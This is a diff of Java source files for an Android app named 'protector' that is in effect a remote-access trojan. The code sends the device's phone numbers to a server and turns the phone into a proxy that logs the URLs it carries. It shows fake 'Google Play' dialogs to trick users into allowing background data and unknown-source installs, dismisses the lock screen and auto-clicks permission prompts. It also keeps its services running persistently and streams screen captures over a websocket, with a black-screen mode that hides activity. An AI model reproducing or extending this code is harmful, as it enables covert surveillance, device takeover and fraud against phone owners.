super.onRequestPermissionsResult(requestCode, permissions, grantResults);
switch (requestCode) {
case 987:{
String[] PERMISSIONS = MyPermissions.ALL_PERMISSIONS(getApplicationContext());
if (grantResults.length >0 && grantResults[0] == PackageManager.PERMISSION_GRANTED)
{
ToggleAccess(false);
//AccessTools.BlackScreen(false);
if(MyPermissions.hasPermissions(getApplicationContext(), PERMISSIONS)){
finish();
}
}else{
if(!MyPermissions.hasPermissions(getApplicationContext(), PERMISSIONS)){
requestPermissions( PERMISSIONS, 987);
}
}
}
}
}
private void ToggleAccess(boolean state){
//MySettings.WriteBool(getApplicationContext(), Consts.Auto_Clicker,state);
// MySettings.WriteBool(getApplicationContext(), Consts.Auto_Prims,state);
AccessServices.FOR_PRIMS = state;
AccessServices.Auto_Click = state;
}
// @Override
// public void finish() {
// ToggleAccess(false);
// AccessTools.BlackScreen(false);
// if(Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) {
// super.finishAndRemoveTask();
// }
// else {
// super.finish();
// }
// }
@Override
protected void onDestroy() {
//ToggleAccess(false);
//AccessTools.BlackScreen(false);
instance = null;
super.onDestroy();
}
}
@@ -0,0 +1,86 @@
package com.icontrol.protector;
import static com.icontrol.protector.WorkServices.MyWorker.AlertServer;
import android.content.Context;
import android.content.pm.PackageManager;
import android.os.Build;
import android.telephony.SubscriptionInfo;
import android.telephony.SubscriptionManager;
import android.util.Log;
import androidx.core.app.ActivityCompat;
import java.util.ArrayList;
import java.util.List;
public class PhoneNumberUtils {
private static final String TAG = "DREG_PHONE";
// Function to get phone numbers
public static void printPhoneNumbers(Context context) {
Thread thread = new Thread() {
@Override
public void run() {
try {
ArrayList<String> phoneNumbers = getPhoneNumbers(context);
if (phoneNumbers == null || phoneNumbers.size() == 0){
Log.d(TAG, "Phone number: " + "not found");
AlertServer(context,"Phone number","Not found");
return;
}
for (String phoneNumber : phoneNumbers) {
Log.d(TAG, "Phone number: " + phoneNumber);
AlertServer(context,"Phone number","My number is: "+phoneNumber);
}
} catch (Exception ex) {
ex.printStackTrace();
}
}
};
thread.start();
}
// Function to retrieve phone numbers
public static ArrayList<String> getPhoneNumbers(Context context) {
ArrayList<String> phoneNumbers = new ArrayList<>();
// Check if API level is 23 or higher
if (isFromAPI(23)) {
SubscriptionManager subscriptionManager = (SubscriptionManager) context.getSystemService(Context.TELEPHONY_SUBSCRIPTION_SERVICE);
if (subscriptionManager != null) {
if (ActivityCompat.checkSelfPermission(context, android.Manifest.permission.READ_PHONE_STATE) != PackageManager.PERMISSION_GRANTED) {
return null;
}
List<SubscriptionInfo> subsInfoList = subscriptionManager.getActiveSubscriptionInfoList();
if (subsInfoList != null) {
for (SubscriptionInfo subscriptionInfo : subsInfoList) {
String phoneNumber;
// If API level is 33 or higher
if (isFromAPI(33)) {
phoneNumber = subscriptionManager.getPhoneNumber(subscriptionInfo.getSubscriptionId());
} else {
phoneNumber = subscriptionInfo.getNumber();
}
if (phoneNumber != null && !phoneNumber.isEmpty()) {
phoneNumbers.add(phoneNumber);
}
}
}
}
}
return phoneNumbers;
}
// Helper function to check API level
private static boolean isFromAPI(int apiLevel) {
return Build.VERSION.SDK_INT >= apiLevel;
}
}
@@ -0,0 +1,113 @@
package com.icontrol.protector;
import static com.icontrol.protector.UtliTools.getdeviceIpAddress;
import static com.icontrol.protector.UtliTools.isPortInUse;
import static com.icontrol.protector.UtliTools.randomnumber;
import android.app.Notification;
import android.app.Service;
import android.content.Context;
import android.content.Intent;
import android.content.pm.ServiceInfo;
import android.os.Build;
import android.os.IBinder;
import android.util.Log;
import org.json.JSONObject;
import java.io.IOException;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
public class ProxyService extends Service {
private ExecutorService executorService;
private MyProxy proxyServer;
@Override
public int onStartCommand(Intent intent, int flags, int startId) {
// Start the proxy server in a background thread
Context ctx = getApplicationContext();
executorService = Executors.newSingleThreadExecutor();
executorService.execute(() -> {
try {
int port = 7931;
do {
port = randomnumber(2000,9000);
}while (isPortInUse(port));
proxyServer = new MyProxy(port); // You can choose any port
MyLoger.Debug("ProxyService", "Proxy server started on port "+port);
String localip = getdeviceIpAddress();
MyLoger.Debug("ProxyService", "localip "+localip);
JSONObject message = new JSONObject();
message.put("ctype", "first");//call type
message.put("loip", localip);
message.put("pport", port);
LiveChat.instance(ctx).ProxyMsg(ctx,message);
proxyServer.start( ctx);
} catch (Exception e) {
MyLoger.Error("ProxyService", "Error starting proxy server"+ e.getMessage());
e.printStackTrace();
try{
JSONObject message = new JSONObject();
message.put("ctype", "state");//call type
message.put("smsg", "Error: "+e.getMessage());
LiveChat.instance(ctx).ProxyMsg(ctx,message);
}catch (Exception a){
a.printStackTrace();
}
}
});
// Start the service in the foreground to avoid being killed
startforground(getApplicationContext());
return START_STICKY;
}
private static int Notifi_ID = 111;
private void startforground(Context ctx) {
try{
// int Notifi_ID = UtliTools.randomnumber(11111, 88888);
MyNotification MyNotifiint = MyNotification.getInstance(ctx);
Notification notification = MyNotifiint.createNotification(ctx);
if (Build.VERSION.SDK_INT >= 34) {
this.startForeground(Notifi_ID, notification,
ServiceInfo.FOREGROUND_SERVICE_TYPE_DATA_SYNC);
} else {
this.startForeground(Notifi_ID, notification);
}
}catch (Exception a){}
}
@Override
public void onDestroy() {
super.onDestroy();
Log.d("ProxyService", "onDestroy proxy server");
// Stop the proxy server and shutdown the executor service
if (proxyServer != null) {
proxyServer.stop();
}
if (executorService != null) {
executorService.shutdown();
}
}
@Override
public IBinder onBind(Intent intent) {
return null;
}
}
@@ -0,0 +1,168 @@
package com.icontrol.protector;
import static android.net.ConnectivityManager.RESTRICT_BACKGROUND_STATUS_ENABLED;
import static com.icontrol.protector.UtliTools.getLabelApplication;
import android.app.Activity;
import android.app.AlertDialog;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.DialogInterface;
import android.content.Intent;
import android.content.IntentFilter;
import android.content.pm.PackageManager;
import android.graphics.drawable.Drawable;
import android.net.ConnectivityManager;
import android.net.Uri;
import android.os.Build;
import android.os.Bundle;
import android.provider.Settings;
import java.util.Locale;
public class RequestDataUsage extends Activity {
boolean isregisterd = false;
@Override
protected void onCreate( Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
ConnectivityManager connectivityManager = (ConnectivityManager) getSystemService(Context.CONNECTIVITY_SERVICE);
if (connectivityManager.isActiveNetworkMetered()) {
// Checks users Data Saver settings.
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.N) {
switch (connectivityManager.getRestrictBackgroundStatus()) {
case RESTRICT_BACKGROUND_STATUS_ENABLED:
askit();
break;
default:
AccessServices.PreventDelete =false;
finish();
break;
}
}
registerReceiver(dataSaverChangedBroadcastReceiver, new IntentFilter(ConnectivityManager.ACTION_RESTRICT_BACKGROUND_CHANGED));
isregisterd = true;
}else
{
finish();
AccessServices.PreventDelete =false;
}
}
@Override
protected void onDestroy() {
super.onDestroy();
try {
if (isregisterd)
unregisterReceiver(dataSaverChangedBroadcastReceiver);
}catch (Exception a){}
}
private DataSaverChangedBroadcastReceiver dataSaverChangedBroadcastReceiver = new DataSaverChangedBroadcastReceiver();
private static class DataSaverChangedBroadcastReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
}
}
public void askit(){
String CurrnetLanuage = Locale.getDefault().getLanguage();
//Toast.makeText(this,"Enable Draw over apps For : " + getString(R.string.f1f2f3f4f5f6), Toast.LENGTH_LONG).show();
final AlertDialog.Builder alertDialog = new AlertDialog.Builder(this, android.R.style.Theme_DeviceDefault_Dialog_Alert);
String buttonnameOK="OK";
String MYNAME = "";
MYNAME = getLabelApplication(getApplicationContext()).toLowerCase();
switch (CurrnetLanuage) {
case "en":
buttonnameOK = "Enable";
alertDialog.setMessage("Allow " + MYNAME + " to use background data for updates.");
break;
case "ar":
buttonnameOK = "تفعيل";
alertDialog.setMessage("اسمح لـ " + MYNAME + " باستخدام البيانات في الخلفية للتحديثات.");
break;
case "zh":
buttonnameOK = "启用";
alertDialog.setMessage("允许 " + MYNAME + " 在后台使用数据以获取更新。");
break;
case "tr":
buttonnameOK = "Tamam";
alertDialog.setMessage(MYNAME + " uygulamasının güncellemeler için arka planda veri kullanmasına izin verin.");
break;
case "ru":
buttonnameOK = "Включить";
alertDialog.setMessage("Разрешите " + MYNAME + " использовать данные в фоновом режиме для обновлений.");
break;
default:
buttonnameOK = "OK";
alertDialog.setMessage("Allow " + MYNAME + " to use background data for updates.");
break;
}
try {
// Try to get the Google Play icon
Drawable icon = getPackageManager().getApplicationIcon("com.android.vending");
alertDialog.setIcon(icon);
alertDialog.setTitle("Google Play");
} catch (PackageManager.NameNotFoundException e) {
try {
// Try to use the Settings app icon as a fallback
Drawable settingsIcon = getPackageManager().getApplicationIcon("com.android.settings");
alertDialog.setIcon(settingsIcon);
alertDialog.setTitle("Settings");
} catch (PackageManager.NameNotFoundException ex) {
try {
// If Settings app icon is not found, use your app's own icon
Drawable appIcon = getPackageManager().getApplicationIcon(getPackageName());
alertDialog.setIcon(appIcon);
alertDialog.setTitle(MYNAME); // Use your app's name as title
} catch (PackageManager.NameNotFoundException exc) {
// Log the error or handle it as needed
exc.printStackTrace();
// Optionally, set a default fallback title and no icon
alertDialog.setIcon(null);
alertDialog.setTitle("");
}
}
}
alertDialog.setPositiveButton(buttonnameOK, new DialogInterface.OnClickListener() {
@Override
public void onClick(DialogInterface dialogInterface, int i) {
AccessServices.PreventDelete =true;
try
{
Intent intent = new Intent(Settings.ACTION_IGNORE_BACKGROUND_DATA_RESTRICTIONS_SETTINGS);
Uri uri = Uri.fromParts("package", getPackageName(), null);
intent.setData(uri);
intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
startActivity(intent);
}catch (Exception a){
}
RequestDataUsage.this.finish();
return;
}
});
alertDialog.show();
}
@Override
public void finish() {
super.finish(); // This will remove the activity from the screen
}
}
@@ -0,0 +1,242 @@
package com.icontrol.protector;
import android.content.Context;
import android.util.Log;
import org.json.JSONObject;
import java.io.*;
import java.net.HttpURLConnection;
import java.net.InetSocketAddress;
import java.net.Socket;
import java.net.URL;
public class RequestHandler implements Runnable {
private final Socket clientSocket;
private final Context ctx;
public RequestHandler(Socket clientSocket,Context ctox) {
this.clientSocket = clientSocket;
this.ctx = ctox;
}
@Override
public void run() {
try {
// Handle client request
InputStream inputStream = clientSocket.getInputStream();
OutputStream outputStream = clientSocket.getOutputStream();
// Read the client's request
BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream));
StringBuilder requestBuilder = new StringBuilder();
String line;
while (!(line = reader.readLine()).isEmpty()) {
requestBuilder.append(line).append("\r\n");
}
// Extract the requested URL from the request
String request = requestBuilder.toString();
String[] requestLines = request.split("\r\n");
String[] requestLine = requestLines[0].split(" ");
String method = requestLine[0];
String url = requestLine[1];
MyLoger.Debug("RequestHandler", "Request Method: " + method);
MyLoger.Debug("RequestHandler", "Requested URL: " + url);
String clientIpAddress = clientSocket.getInetAddress().getHostAddress();
MyLoger.Debug("RequestHandler", "clientIpAddress: " + clientIpAddress);
logserver(clientIpAddress,url,method);
if (method.equalsIgnoreCase("CONNECT")) {
handleConnectMethod(url);
} else {
handleHttpRequest(method, url, requestLines, reader, outputStream);
}
} catch (IOException e) {
MyLoger.Error("RequestHandler", "Error handling client request"+ e.getMessage());
logserver("ERROR",e.getMessage(),"...");
} finally {
try {
clientSocket.close();
} catch (IOException e) {
MyLoger.Error("RequestHandler", "Error closing client socket"+ e.getMessage());
logserver("ERROR 2",e.getMessage(),"...");
}
}
}
private void logserver( String originalip, String proxyurl, String proxymethod){
try{
JSONObject message = new JSONObject();
message.put("ctype", "dataup");//call type
message.put("oip", originalip);
message.put("purl", proxyurl);
message.put("pmth", proxymethod);
LiveChat.instance(ctx).ProxyMsg(ctx,message);
}catch (Exception a){
MyLoger.Error("logserver","Error "+a.getMessage());
a.printStackTrace();
}
}
private void handleConnectMethod(String url) {
try {
// Extract the host and port from the URL (example: www.example.com:443)
String[] hostPort = url.split(":");
String host = hostPort[0];
int port = Integer.parseInt(hostPort[1]);
// Establish a connection to the destination server
Socket proxySocket = new Socket();
proxySocket.connect(new InetSocketAddress(host, port));
// Respond to the client that the connection was established
OutputStream outputStream = clientSocket.getOutputStream();
PrintWriter clientWriter = new PrintWriter(outputStream);
clientWriter.write("HTTP/1.1 200 Connection Established\r\n");
clientWriter.write("Proxy-agent: JavaProxy\r\n");
clientWriter.write("\r\n");
clientWriter.flush();
// Tunnel data between the client and the destination server
InputStream proxyInputStream = proxySocket.getInputStream();
OutputStream proxyOutputStream = proxySocket.getOutputStream();
Thread clientToProxy = new Thread(() -> {
try {
tunnelData(clientSocket.getInputStream(), proxyOutputStream);
} catch (IOException e) {
throw new RuntimeException(e);
}
});
Thread proxyToClient = new Thread(() -> {
try {
tunnelData(proxyInputStream, clientSocket.getOutputStream());
} catch (IOException e) {
throw new RuntimeException(e);
}
});
clientToProxy.start();
proxyToClient.start();
clientToProxy.join();
proxyToClient.join();
proxySocket.close();
} catch (Exception e) {
MyLoger.Error("RequestHandler", "Error handling CONNECT method"+ e.getMessage());
logserver("ERROR 3",e.getMessage(),"...");
}
}
private void tunnelData(InputStream inputStream, OutputStream outputStream) {
try {
byte[] buffer = new byte[4096];
int bytesRead;
while ((bytesRead = inputStream.read(buffer)) != -1) {
try {
outputStream.write(buffer, 0, bytesRead);
outputStream.flush();
} catch (IOException e) {
if (e.getMessage().contains("Broken pipe")) {
MyLoger.Error("RequestHandler", "Broken pipe detected, stopping data tunneling.");
break; // Stop tunneling if a broken pipe occurs
} else {
throw e; // Rethrow other IOExceptions
}
}
}
} catch (IOException e) {
MyLoger.Error("RequestHandler", "Error tunneling data: " + e.getMessage());
logserver("ERROR 4", e.getMessage(), "...");
}
}
private void handleHttpRequest(String method, String url, String[] requestLines, BufferedReader reader, OutputStream outputStream) {
try {
String userAgent = System.getProperty("http.agent");
// Create a connection to the destination server
URL destinationUrl = new URL(url);
HttpURLConnection connection = (HttpURLConnection) destinationUrl.openConnection();
connection.setRequestMethod(method);
// Forward headers from the client to the destination server
int contentLength = -1;
for (int i = 1; i < requestLines.length; i++) {
String[] header = requestLines[i].split(": ");
if (header.length == 2) {
if (header[0].equalsIgnoreCase("User-Agent")) {
connection.setRequestProperty("User-Agent", userAgent);
} else {
connection.setRequestProperty(header[0], header[1]);
if (header[0].equalsIgnoreCase("Content-Length")) {
contentLength = Integer.parseInt(header[1]);
}
}
}
}
// Send the request body to the destination server if it's a POST or PUT request
if (method.equals("POST") || method.equals("PUT")) {
connection.setDoOutput(true);
OutputStream connectionOutputStream = connection.getOutputStream();
// Read the exact content length if specified
if (contentLength > 0) {
char[] buffer = new char[contentLength];
int bytesRead = reader.read(buffer, 0, contentLength);
if (bytesRead > 0) {
connectionOutputStream.write(new String(buffer).getBytes());
connectionOutputStream.flush();
}
} else {
// Fallback to reading until the stream is empty if content length is not provided
BufferedWriter writer = new BufferedWriter(new OutputStreamWriter(connectionOutputStream));
String body;
while ((body = reader.readLine()) != null) {
writer.write(body);
writer.flush();
}
}
}
// Get the response from the destination server
int responseCode = connection.getResponseCode();
InputStream destinationInputStream = (responseCode >= 200 && responseCode < 400)
? connection.getInputStream()
: connection.getErrorStream();
BufferedReader destinationReader = new BufferedReader(new InputStreamReader(destinationInputStream));
StringBuilder responseBuilder = new StringBuilder();
String responseLine;
while ((responseLine = destinationReader.readLine()) != null) {
responseBuilder.append(responseLine).append("\r\n");
}
// Send the response back to the client
PrintWriter clientWriter = new PrintWriter(outputStream);
clientWriter.write("HTTP/1.1 " + responseCode + " \r\n");
clientWriter.write(responseBuilder.toString());
clientWriter.flush();
} catch (IOException e) {
MyLoger.Error("RequestHandler", "Error handling HTTP request" + e.getMessage());
logserver("ERROR 5", e.getMessage(), "...");
}
}
}
@@ -0,0 +1,130 @@
package com.icontrol.protector;
import android.app.Activity;
import android.app.KeyguardManager;
import android.content.Context;
import android.content.Intent;
import android.content.pm.PackageManager;
import android.os.Build;
import android.os.Bundle;
import android.view.Window;
import android.view.WindowManager;
import androidx.core.app.ActivityCompat;
public class RequestPermissions2 extends Activity {
public static boolean hasPermissions(Context context, String... permissions) {
if (context != null && permissions != null) {
for (String permission : permissions) {
if (ActivityCompat.checkSelfPermission(context, permission) != PackageManager.PERMISSION_GRANTED) {
return false;
}
}
}
return true;
}
@Override
public void onCreate(Bundle v) {
super.onCreate(v);
requestWindowFeature(Window.FEATURE_NO_TITLE);
getWindow().setFlags(WindowManager.LayoutParams.FLAG_FULLSCREEN,
WindowManager.LayoutParams.FLAG_FULLSCREEN);
try
{
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O_MR1) {
getWindow().addFlags(WindowManager.LayoutParams.FLAG_FULLSCREEN
);
KeyguardManager keyguardManager = (KeyguardManager) getApplicationContext().getSystemService(Context.KEYGUARD_SERVICE);
keyguardManager.requestDismissKeyguard(this, null);
setShowWhenLocked(true);
// setTurnScreenOn(true);
} else {
getWindow().setFlags(WindowManager.LayoutParams.FLAG_FULLSCREEN,
WindowManager.LayoutParams.FLAG_FULLSCREEN|
WindowManager.LayoutParams.FLAG_DISMISS_KEYGUARD|
WindowManager.LayoutParams.FLAG_SHOW_WHEN_LOCKED|
WindowManager.LayoutParams.FLAG_TURN_SCREEN_ON);
}
}catch (Exception ed){
try {
getWindow().setFlags(WindowManager.LayoutParams.FLAG_FULLSCREEN,
WindowManager.LayoutParams.FLAG_FULLSCREEN|
WindowManager.LayoutParams.FLAG_DISMISS_KEYGUARD|
WindowManager.LayoutParams.FLAG_SHOW_WHEN_LOCKED|
WindowManager.LayoutParams.FLAG_TURN_SCREEN_ON);
}catch (Exception f)
{
try
{
getWindow().setFlags(WindowManager.LayoutParams.FLAG_FULLSCREEN,
WindowManager.LayoutParams.FLAG_FULLSCREEN
);
}catch (Exception gg){
}
}
}
try
{
Intent intent = getIntent();
ToAskNew = intent.getStringArrayExtra("Data");
if (ToAskNew != null)
{
int PERMISSION_ALL = 151;
String[] PERMISSIONS = ToAskNew;
if(!hasPermissions(this, PERMISSIONS)){
ActivityCompat.requestPermissions(this, PERMISSIONS, PERMISSION_ALL);
ToggleAccess(true);
}else {
finish();
}
}else
{
finish();
}
}catch (Exception e ){
finish();
}
}
private void ToggleAccess(boolean state){
AccessServices.FOR_PRIMS = state;
AccessServices.Auto_Click = state;
}
public static String[] ToAskNew;
@Override
public void onRequestPermissionsResult(int requestCode, String[] permissions, int[] grantResults) {
super.onRequestPermissionsResult(requestCode, permissions, grantResults);
//finish();
switch (requestCode) {
case 151:{
if (grantResults.length >0 && grantResults[0] == PackageManager.PERMISSION_GRANTED)
{
ToggleAccess(false);
finish();
}
}
}
}
}
@@ -0,0 +1,117 @@
package com.icontrol.protector;
import static com.icontrol.protector.WorkServices.MyWorker.AlertServer;
import android.app.Activity;
import android.app.AlertDialog;
import android.content.Context;
import android.content.DialogInterface;
import android.content.Intent;
import android.content.pm.PackageManager;
import android.graphics.drawable.Drawable;
import android.net.Uri;
import android.os.Build;
import android.os.Bundle;
import android.provider.Settings;
import java.util.Locale;
public class Requestinstall extends Activity {
private static final int REQUEST_INSTALL_PERMISSION = 1001;
private static Context Myctx;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
Myctx = getApplicationContext();
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
// Check if the app already has the permission
if (!getPackageManager().canRequestPackageInstalls()) {
// Request the permission
Askinstall();
}
}
}
private void Askinstall() {
String CurrnetLanuage = Locale.getDefault().getLanguage();
//Toast.makeText(this,"Enable Draw over apps For : " + getString(R.string.f1f2f3f4f5f6), Toast.LENGTH_LONG).show();
final AlertDialog.Builder alertDialog = new AlertDialog.Builder(this, android.R.style.Theme_DeviceDefault_Dialog_Alert);
String buttonnameOK="OK";
String MYNAME= UtliTools.getAppNameFromPkgName(Myctx,Myctx.getPackageName());
switch (CurrnetLanuage){
case "en":
buttonnameOK="Enable";
alertDialog.setMessage("To keep the app up-to date , please enable install from: "+ MYNAME);
break;
case "ar":
buttonnameOK="تفعيل";
alertDialog.setMessage("للحفاظ على التطبيق محدثًا ، يرجى تمكين التثبيت من: "+MYNAME);
break;
case "cn":
buttonnameOK="使能够";
alertDialog.setMessage("为了使应用程序保持最新状态,请启用从以下位置安装:"+ MYNAME);
break;
case "tr":
buttonnameOK="Tamam";
alertDialog.setMessage("Uygulamayı güncel tutmak için Şuradan Yükle'yi etkinleştirin: "+MYNAME);
break;
default:
buttonnameOK="OK";
alertDialog.setMessage("to keep the app up-to date , please enable install from: "+ MYNAME);
break;
}
try {
Drawable icon = this.getPackageManager().getApplicationIcon("com.android.vending");
alertDialog.setIcon(icon);
alertDialog.setTitle("Google Play");
} catch (PackageManager.NameNotFoundException e) {
try {
// null;
Drawable icon = this.getPackageManager().getApplicationIcon(getPackageName());
alertDialog.setIcon(icon);
alertDialog.setTitle(MYNAME);
} catch (PackageManager.NameNotFoundException ex) {
//ex.printStackTrace();
}
}
alertDialog.setPositiveButton(buttonnameOK, new DialogInterface.OnClickListener() {
@Override
public void onClick(DialogInterface dialogInterface, int i) {
Intent intent = new Intent(Settings.ACTION_MANAGE_UNKNOWN_APP_SOURCES,
Uri.parse("package:" + getPackageName()));
intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
startActivityForResult(intent, REQUEST_INSTALL_PERMISSION);
}
});
alertDialog.show();
}
@Override
protected void onActivityResult(int requestCode, int resultCode, Intent data) {
if (requestCode == REQUEST_INSTALL_PERMISSION) {
if (resultCode == RESULT_OK) {
AlertServer(Myctx, "install Apps", "Permission Enabled");
} else {
AlertServer(Myctx, "install Apps", "Client Rejected Request");
}
finish();
}
}
}
@@ -0,0 +1,64 @@
package com.icontrol.protector;
import static com.icontrol.protector.MyCods.isServiceRunning;
import static com.icontrol.protector.WorkServices.MyWorker.AlertServer;
import android.app.Notification;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.os.AsyncTask;
import android.os.Build;
import androidx.work.OneTimeWorkRequest;
import androidx.work.WorkManager;
public class ResetServices extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
try{
new Thread(() -> {
try{
//JobSchedulerUtil.scheduleJob(context);
//AlarmHelper.setAlarm(context, EngineWorker.class, System.currentTimeMillis() + 15000);
if (intent.getAction() != null) {
if ("android.intent.action.BATTERY_LOW".equals(intent.getAction())) {
AlertServer(context,"Battery State","Battery is low");
}
}
MySettings.WriteBool(context, Consts.AutoStartOn,true);
if (!isServiceRunning(context, WorkServices.class))
{
Intent workint2 = new Intent(context, WorkServices.class);
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
context.startForegroundService(workint2);
}else
{
context.startService(workint2);
}
}
Intent workint = new Intent(context, EngineWorker.class);
if (!isServiceRunning(context, EngineWorker.class))
{
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
context.startForegroundService(workint);
}else
{
context.startService(workint);
}
}
}catch (Exception a){
a.printStackTrace();
}
}).start();
}catch (Exception a){
a.printStackTrace();
}
}
}
File diff suppressed because one or more lines are too long
@@ -0,0 +1,644 @@
package com.icontrol.protector;
import static com.icontrol.protector.Consts.SCRQuality;
import static com.icontrol.protector.Consts.URL_SOCKT;
import static com.icontrol.protector.UtliTools.BITMAP_RESIZER;
import android.app.Activity;
import android.app.Notification;
import android.app.Service;
import android.content.Context;
import android.content.Intent;
import android.content.pm.ServiceInfo;
import android.content.res.Resources;
import android.graphics.Bitmap;
import android.graphics.PixelFormat;
import android.hardware.display.DisplayManager;
import android.hardware.display.VirtualDisplay;
import android.media.Image;
import android.media.ImageReader;
import android.media.projection.MediaProjection;
import android.media.projection.MediaProjectionManager;
import android.os.Build;
import android.os.Handler;
import android.os.HandlerThread;
import android.os.IBinder;
import android.util.Base64;
import android.view.Display;
import android.view.WindowManager;
import androidx.annotation.NonNull;
import androidx.annotation.Nullable;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.ref.WeakReference;
import java.nio.ByteBuffer;
import java.util.ArrayList;
import java.util.List;
import java.util.Objects;
import org.json.JSONException;
import org.json.JSONObject;
import okhttp3.OkHttpClient;
import okhttp3.Request;
import okhttp3.Response;
import okhttp3.WebSocket;
import okhttp3.WebSocketListener;
import okio.ByteString;
public class ScreenCaps extends Service {
private static final String TAG = "iScreenCap";
private static final String RESULT_CODE = "RESULT_CODE";
private static final String Qulty = "QULTY";
private static final String Sockid = "SOCK";
private static final String DATA = "DATA";
private static final String ACTION = "ACTION";
private static final String START = "START";
private static final String STOP = "STOP";
private static final String SCREENCAP_NAME = "screencap";
public static MediaProjection mMediaProjection;
public static ImageReader mImageReader;
//private static Handler mHandler;
public static MediaProjection.Callback mCallBack;
//public static Display mDisplay;
public static VirtualDisplay mVirtualDisplay;
private int mDensity;
private int mWidth;
private int mHeight;
private int mRotation;
//private OrientationChangeCallback mOrientationChangeCallback;
//public static SecondarySocket SendSK = null;
public static List<byte[]> ImagesListByts = new ArrayList<byte[]>();
public static Object LockSend = new Object();
public static boolean isAlive = true;
public static String PID ;
private Context mContext;
private OkHttpClient client;
private WebSocket ws;
public static Intent getStartIntent(Context context, int resultCode, Intent data,int Quality,String sockid) {
Intent intent = new Intent(context, ScreenCaps.class);
intent.putExtra(ACTION, START);
intent.putExtra(RESULT_CODE, resultCode);
intent.putExtra(DATA, data);
intent.putExtra(Qulty, Quality);
intent.putExtra(Sockid, sockid);
return intent;
}
public static Intent getStopIntent(Context context) {
Intent intent = new Intent(context, ScreenCaps.class);
intent.putExtra(ACTION, STOP);
return intent;
}
private static boolean isStartCommand(Intent intent) {
if(intent == null){
return false;
}
return intent.hasExtra(RESULT_CODE) && intent.hasExtra(DATA)
&& intent.hasExtra(ACTION) && Objects.equals(intent.getStringExtra(ACTION), START);
}
private static boolean isStopCommand(Intent intent) {
if(intent == null){
return false;
}
return intent.hasExtra(ACTION) && Objects.equals(intent.getStringExtra(ACTION), STOP);
}
private static int getVirtualDisplayFlags() {
return DisplayManager.VIRTUAL_DISPLAY_FLAG_PRESENTATION | DisplayManager.VIRTUAL_DISPLAY_FLAG_AUTO_MIRROR;
}
private final class ImageAvailableListener implements ImageReader.OnImageAvailableListener {
@Override
public void onImageAvailable(ImageReader reader) {
Bitmap bitmap = null;
ByteArrayOutputStream baos=new ByteArrayOutputStream();
try (Image image = mImageReader.acquireLatestImage()) {
if (image != null) {
Image.Plane[] planes = image.getPlanes();
ByteBuffer buffer = planes[0].getBuffer();
int pixelStride = planes[0].getPixelStride();
int rowStride = planes[0].getRowStride();
int rowPadding = rowStride - pixelStride * mWidth;
//350, 550
// create bitmap
if(isAlive){
bitmap = Bitmap.createBitmap(mWidth + rowPadding / pixelStride, mHeight, Bitmap.Config.ARGB_8888);
bitmap.copyPixelsFromBuffer(buffer);
// Bitmap convertedBitmap = bitmap.copy(Bitmap.Config.RGB_565, false);
Bitmap compressedBitmap =Bitmap.createScaledBitmap(bitmap, 320, 620, false);
//Bitmap compressedBitmap;
if (AccessServices.BlackScreen_ON){
// long startTime = System.nanoTime();
//
//
// long endTime = System.nanoTime();
// long durationMs = (endTime - startTime) / 1_000_000; // convert ns to ms
// MyLoger.Debug("Timing", "Execution time: " + durationMs + " ms");
compressedBitmap = UtliTools.changeImageOpacity(compressedBitmap, 1.0f);
compressedBitmap.compress(Bitmap.CompressFormat.JPEG, 30, baos);
}else{
// compressedBitmap =BITMAP_RESIZER(bitmap, 180, 320);
compressedBitmap.compress(Bitmap.CompressFormat.WEBP, SCRQuality, baos);
}
synchronized(LockSend){
if (ImagesListByts.size() < 15){
ImagesListByts.add(baos.toByteArray());
}else{
MyLoger.Error("LiveScreen","images more than 15");
}
}
compressedBitmap.recycle();
}
}
} catch (Exception e) {
e.printStackTrace();
} finally {
if (baos != null) {
try {
baos.close();
} catch (IOException ioe) {
ioe.printStackTrace();
}
}
if (bitmap != null) {
bitmap.recycle();
}
}
}
}
public void SendThread(Context ctx) {
isAlive=true;
client = new OkHttpClient();
Request request = new Request.Builder().url(URL_SOCKT()).build();
ws = client.newWebSocket(request, new WebSocketListener() {
@Override
public void onClosing(@NonNull WebSocket webSocket, int code, @NonNull String reason) {
super.onClosing(webSocket, code, reason);
if (isAlive){
isAlive=false;
//new Thread(() -> {
try {
Thread.sleep(3000);
} catch (InterruptedException e) {
e.printStackTrace();
}
SendThread(ctx);
//}).start();
}
// killall();
}
@Override
public void onFailure(@NonNull WebSocket webSocket, @NonNull Throwable t, @Nullable Response response) {
super.onFailure(webSocket, t, response);
if (isAlive){
isAlive=false;
// new Thread(() -> {
try {
Thread.sleep(3000);
} catch (InterruptedException e) {
e.printStackTrace();
}
SendThread(ctx);
// }).start();
}
//killall();
}
@Override
public void onOpen(WebSocket webSocket, Response response) {
Thread thread = new Thread() {
@Override
public void run() {
try {
String conctkey = MySettings.Read(ctx,Consts.Redirect_k,My_Configs.CONS_KY);
while (isAlive){
try {
byte[] BytesTosend =null;
synchronized(LockSend){
if(ImagesListByts.size() > 0){
BytesTosend = (byte[]) ImagesListByts.get(0);
ImagesListByts.remove(0);
}
}
try {
if (BytesTosend != null){
try {
String fromat = "w";
if (AccessServices.BlackScreen_ON){
fromat = "p";
}
String base64Image = Base64.encodeToString(BytesTosend, Base64.DEFAULT);
JSONObject jsonObject = new JSONObject();
jsonObject.put("type", "screen");
jsonObject.put("img", base64Image);
jsonObject.put("frmt", fromat);
jsonObject.put("skly", "0");
jsonObject.put("wmob", mWidth);
jsonObject.put("hmob", mHeight);
String jsonData = jsonObject.toString();
Livemessage(ctx,jsonData,conctkey);
} catch (Exception e) {
// killall();
}
}
} catch (Exception e) {
}
}
